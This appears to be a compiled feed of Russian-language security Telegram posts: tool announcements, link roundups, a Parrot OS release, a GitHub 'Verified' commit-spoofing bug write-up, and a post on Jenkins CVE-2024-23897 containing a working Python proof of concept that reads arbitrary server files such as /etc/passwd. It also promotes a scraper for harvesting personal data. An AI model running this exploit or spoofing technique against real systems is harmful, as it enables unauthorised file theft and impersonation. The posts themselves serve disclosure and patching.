Fsecurity | HH

🔗Ссылка: https://www.hackingarticles.in/powershell-for-pentester-windows-reverse-shell/

🔗Ссылка: https://xakep.ru/2024/01/29/apple-new-eu-rules/

🔗Ссылка: https://securelist.ru/new-macos-backdoor-crypto-stealer/108815/

Вы знали, что есть целый сборник разной информации по ИБ на моем Github 🦑 Хочу также посоветовать: 1 - Проверить себя на утечки! 💧 2 - Наш discord сервер! Где можно пообщаться 👾 3 - Новый ТГ канал [Ximera-Chan] который ведёт Ai

Uscrapper 2.0, мощный веб-браузер OSINT для сбора персональных данных. Uscrapper использует веб-скрапинг для извлечения идентификаторов электронной почты, ссылок в социальных сетях, геолокации, телефонных номеров и имен пользователей с веб-страниц, поддерживает многопоточность, имеет расширенные модули обхода веб-скрапинга, поддерживает веб-скрапинг для извлечения из различных подсылок в пределах одного домена. 🔗Ссылка: https://github.com/z0m31en7/Uscrapper

🤔 Подборка полезных материалов за эту неделю: — Сканируем сети с помощью скриптов Bash — О фреймворке Volatility на Windows — Определяем тип WAF с помощью WafW00f — Об инструменте ReNgine — О Foremost — инструменте для восстановления данных P.S. Напоминаем, что мы запустили бот для предложений тем материалов и новостей — https://t.me/news_kraken_bot

Топ популярных постов за прошедшую неделю: 1. Предыдущий топ статей 2. Docker Remote API Scanner and Exploit 3. Telegram показывает удаленные сообщения 4. usbsas - это инструмент с открытым исходным кодом 5. Расширенная шпаргалка по доркам для Censys 6. Penetration-List: Это ресурс предназначенный для специалистов по тестированию 7. Cyber Security University представлен список превосходных бесплатных образовательных ресурсов 8. F31 - это bash-скрипт, который защищает Kali Linux и позволяет скрыть Kali Linux в сети. #подборка Life-Hack - Linux/Хакинг/Хакер/ИБ/Osint

🔗Ссылка: https://habr.com/ru/articles/787018/

📦 Невероятно крутые и доступные в понимании (особенно если смотреть после прочтения райтапа) видеоразборы заданий с HackTheBox от архитектора лабораторий. Вот, например, разбор SSTI в приложении на Flask, взлом PyJWT и реверс/брутфорс TOPT Browser Plugin Export. 📺 Смотреть плейлист #ctf #pentest #practice

Caster - F31 Showcase (Raw Record) Genre: Offensive Release Date: 27 January 2024

Подделка подписей на Github Перед тем, как что-нибудь закоммитить в репозиторий, git просит пользователя указать имя и email. Если сделать так

git config --global user.name "Linus Torvalds"
git config --global user.email "torvalds@linux-foundation.org"

Github подхватит почту и будет помечать твои коммиты, как будто их на самом деле сделал Линус, — с его именем, аватаркой и ссылкой на профиль https://github.com/torvalds. Так может сделать любой, и поэтому существует зеленая надпись "Verified" напротив коммитов, подписанных с помощью GPG. Если отправить что-нибудь через веб, коммит подпишется от имени GitHub <noreply@github.com> и тоже будет считаться верифицированным. Для этого сырой блоб отправляется на внутренний эндпоинт https://api.github.com/vscs_internal/commit/sign, где его подхватывает gh-gpgsign и возвращает подписанный результат. На бэкенде проверяется условие, что строка автора из коммита, полученная с помощью регулярки /\Aauthor (.+?) <(.+)>/, должны быть равна имени текущего залогиненного пользователя. Но имя может быть пустым, тогда коммит будет таким

author  <583231+octocat@users.noreply.github.com> 1682188800 +0000
author username <user@example.com> 1682188800 +0000

где первая строка — сгенерирована автоматически, а вторая — фейковая, уже отправленная нами. Первая не подойдет под регулярку, поэтому будет взята вторая, которую мы контролируем. И так мы можем получить галочку "Verified" на коммит с именем Торвальдса без его подписи, или с любым другим именем. Автору заплатили $10.000. Баг удалось найти в Codespaces, благодаря реверсу GitHub Enterprise Server Trial VM.

🔗Ссылка: https://habr.com/ru/news/788996/

🔗Ссылка: https://habr.com/ru/articles/787158/

🔗Ссылка: https://xakep.ru/2024/01/19/radx-rat/

🔗Ссылка: https://notes.kraken-security.ru/kraken/krupicy-znanii/instrumenty/o-foremost-instrumente-dlya-vosstanovleniya-dannykh

Вы знали, что есть целый сборник разной информации по ИБ на моем Github 🦑 Хочу также посоветовать: 1 - Проверить себя на утечки! 💧 2 - Наш discord сервер! Где можно пообщаться 👾 3 - Новый ТГ канал [Ximera-Chan] который ведёт Ai

Jenkins RCE Arbitrary File Read CVE-2024-23897 Критическая уязвимость в Jenkins. Позволяет выполнить RCE на атакуемой машине через уязвимый модуль args4j. Эта функция включена по умолчанию, и в Jenkins 2.441 и более ранних версиях, LTS 2.426.2 и более ранних версиях она не отключается. PoC

import threading
import http.client
import time
import uuid
import urllib.parse
import sys

if len(sys.argv) != 3:
    print('[*] usage: python poc.py http://127.0.0.1:8888/ [/etc/passwd]')
    exit()

data_bytes = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' + sys.argv[2].encode() + b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05zh_CN\x00\x00\x00\x00\x03'
target = urllib.parse.urlparse(sys.argv[1])
uuid_str = str(uuid.uuid4())

print(f'REQ: {data_bytes}\n')

def req1():
    conn = http.client.HTTPConnection(target.netloc)
    conn.request("POST", "/cli?remoting=false", headers={
        "Session": uuid_str,
        "Side": "download"
    })
    print(f'RESPONSE: {conn.getresponse().read()}')

def req2():
    conn = http.client.HTTPConnection(target.netloc)
    conn.request("POST", "/cli?remoting=false", headers={
        "Session": uuid_str,
        "Side": "upload",
        "Content-type": "application/octet-stream"
    }, body=data_bytes)

t1 = threading.Thread(target=req1)
t2 = threading.Thread(target=req2)

t1.start()
time.sleep(0.1)
t2.start()

t1.join()
t2.join()

Использование:

python poc.py http://127.0.0.1:8888/ [/etc/passwd]

Обновление: Обновление до Jenkins 2.442, LTS 2.426.3 Патч: Если вы не можете обновиться до последней версии, то отключите доступ к CLI, это должно полностью исключить возможность эксплуатации. 🌚 @poxek

🖥 Репозиторий: X-Osint — инструмент для сбора информации X-Osint — инструмент который представляет собой эволюцию традиционного подхода к анализу открытых источников информации. Он включает в себя более широкий спектр онлайн-ресурсов, таких как социальные сети, форумы, блоги, новостные сайты, открытые базы данных и другие интернет-ресурсы. — Данный инструмент предоставляет возможности для сбора информации о IP-адресах, электронных адресах и телефонных номерах, поиска хостов, обнаружения портов, перечисления поддоменов, поиска уязвимостей CVE, извлечения адресов электронной почты, изучения уязвимостей в открытых исходных данных, выполнения DNS-запросов и обратного DNS-поиска. ⏺ Ссылка на GitHub #Osint

🦜 Parrot 6.0 Release. • Этот красивый дистрибутив #Linux основан на Debian и разработан командой Frozenbox специально для тестов безопасности компьютерных систем, поиска и оценки различного ряда уязвимостей. Parrot OS подходит не только для тестов на проникновение, ОС может служить и для ежедневного использования тем, кто знает, зачем им это нужно. • 24 января разработчики выпустили новую версию Parrot 6.0, которая содержит в себе многочисленные изменения. О всех нововведениях можно ознакомиться на оффициальном сайте или вот тут. Ниже поделился с вами полезными ссылками, которые помогут познакомиться с данной ОС и вступить в ламповое комьюнити не выходя из Telegram. Полезные ссылки: - ParrotOS Download Page; - ParrotOS Mirror List; - Official ParrotOS Gitlab repo; - Official ParrotOS Github repo; - Official ParrotOS SubReddit; Гайды и документация: - ParrotOS Installation Guide; - Dualboot with Windows; - Fix guide for the Kernel Panic issue; - ParrotOS Documentation; - Parrot OpenBooks. Комьюнити: - Telegram; - Facebook; - Twitter; - Instagram; - Discord; - LinkedIn. S.E. ▪️ infosec.work ▪️ VT